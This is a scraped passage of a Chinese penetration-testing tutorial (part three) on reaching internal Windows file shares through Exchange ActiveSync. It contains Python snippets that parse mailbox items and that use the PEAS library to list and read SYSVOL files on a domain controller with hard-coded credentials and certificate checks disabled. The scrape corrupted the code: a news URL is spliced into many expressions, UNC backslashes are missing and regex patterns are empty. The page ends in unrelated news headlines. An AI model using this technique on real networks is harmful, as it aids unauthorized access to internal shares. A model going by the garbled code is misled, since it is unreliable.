渗透|渗透技巧——通过Exchange ActiveSync访问内部文件共享( 三 ) |技巧|内部|

data = http://news.hoteastday.com/a/pattern_data.findall(email)
print("ThreadTopic:"+data[0])
pattern_data = http://news.hoteastday.com/a/re.compile(r"(.*?)")
data = http://news.hoteastday.com/a/pattern_data.findall(email)
print("Importance:"+data[0])
pattern_data = http://news.hoteastday.com/a/re.compile(r"(.*?)")
data = http://news.hoteastday.com/a/pattern_data.findall(email)
print("Read:"+data[0])
pattern_data = http://news.hoteastday.com/a/re.compile(r"(.*?)")
data = http://news.hoteastday.com/a/pattern_data.findall(email)
for name in data :
print("Attachment:"+name)
pattern_data = http://news.hoteastday.com/a/re.compile(r"(.*?)")
data = http://news.hoteastday.com/a/pattern_data.findall(email)
print("ConversationIndex:"+data[0])
index1 = email.find("")
index2 = email.find("")
filename = data[0] + ".html"
print("[+] Save body to %s"%(filename))
with open(filename, "w+") as file_object:
file_object.write(email[index1:index2+7])
这里需要注意返回的邮件内容中，邮件正文部分的格式为html ，我的代码实现了将正文部分提取并保存成html格式，以唯一的ConversationIndex作为文件名。
如果想要获得发件箱的邮件信息，需要修改py_activesync_helper.py ，修改的细节可参考。 https://github.com/solbirn/pyActiveSync/blob/master/pyActiveSync/dev_playground.py#L150
(3)访问文件共享

列出共享文件的代码示例：
import peas
# Create an instance of the PEAS client.
client = peas.Peas()
# Disable certificate verification so self-signed certificates don"t cause errors.
client.disable_certificate_verification()
# Set the credentials and server to connect to.
client.set_creds({
"server": "192.168.1.1",
"user": "test1",
"password": "123456789",
})
# Retrieve a file share directory listing.
listing = client.get_unc_listing(r"\dc1SYSVOL")
for data in listing :
print("")
for key,value in data.items():
print("{key}:{value}".format(key = key, value = http://news.hoteastday.com/a/value))
读取指定共享文件内容的代码示例：
import peas
# Create an instance of the PEAS client.
client = peas.Peas()
# Disable certificate verification so self-signed certificates don"t cause errors.
client.disable_certificate_verification()
# Set the credentials and server to connect to.
client.set_creds({
"server": "192.168.1.1",
"user": "test1",
"password": "123456789",
})
data=http://news.hoteastday.com/a/client.get_unc_file(r"\dc1SYSVOL est.comPolicies{6AC1786C-016F-11D2-945F-00C04fB984F9}GPT.INI")
print(data)
0x05 通过Exchange ActiveSync访问内部文件共享的细节
1.列出共享文件
访问的URL示例：

https://192.168.1.1/Microsoft-Server-ActiveSync?Cmd=Search&ampUser=test1&ampDeviceId=123456&ampDeviceType=Python"
参数说明如下：
·Cmd=Search ，表示命令类型为Search

渗透|渗透技巧——通过Exchange ActiveSync访问内部文件共享( 三 )

推荐阅读

里尚七七@搬伊万卡救场，伊万卡穿粉衣秀新妆就不戴口罩，特朗普终于顶不住

增增育儿|死后被抄没家产！，还原一个真实的魏东亭——康熙帝的宠臣

盘中触发100多次熔断，多只中概股现“过山车”行情

『哈弗』哈弗大狗终于露出来真面目了 1.5T+185N?m+6.9L油耗

Angelababy▲《奔跑吧8》吃面条，导演给baby特写镜头，是不是真吃很明显

赛场风云|中国排坛也有父子搭档！儿子实力不够当替补，父亲没有搞特殊

中央广播电视总台央视新闻|驻日美军多人确诊新冠肺炎外交部：大国应有大国的样子

『科学家』科学家们发现了“第二个地球”，它有稳定性的季节性气候变化，也许还有生命

塑料水杯刚买回来怎么清洗塑料水杯脏了怎么洗掉

每经22点丨多家机构调低印度经济预期

梭子蟹水煮多长时间

整点鲜闻|当镜头拉近看清腰身后，当妈的都懂，37岁的黄圣依挑战纸袋裤

梦幻西游手游|梦幻西游手游：超美星河足迹免费得，全新星曜石玩法来袭，原创

广安岳池城关中学老师名单岳池城关中学吧

穿搭|乃万染粉色头发，衬衫配牛仔短裤也能变“二次元”，谁穿谁好看

中国新闻网|南极“末日冰川”融化速度惊人令人困惑元凶是谁？

CRD游戏人生|偏偏小乔被迷得神魂颠倒？，王者萌萌假日：周瑜大人只会在小乔面前耍帅

视力多少算正常5.03

金价历史新高，黄金投资企业新增家数5年降七成

天蝎座|情商高，但不会因此拍他人马屁的星座，个性太强，学不来低声下气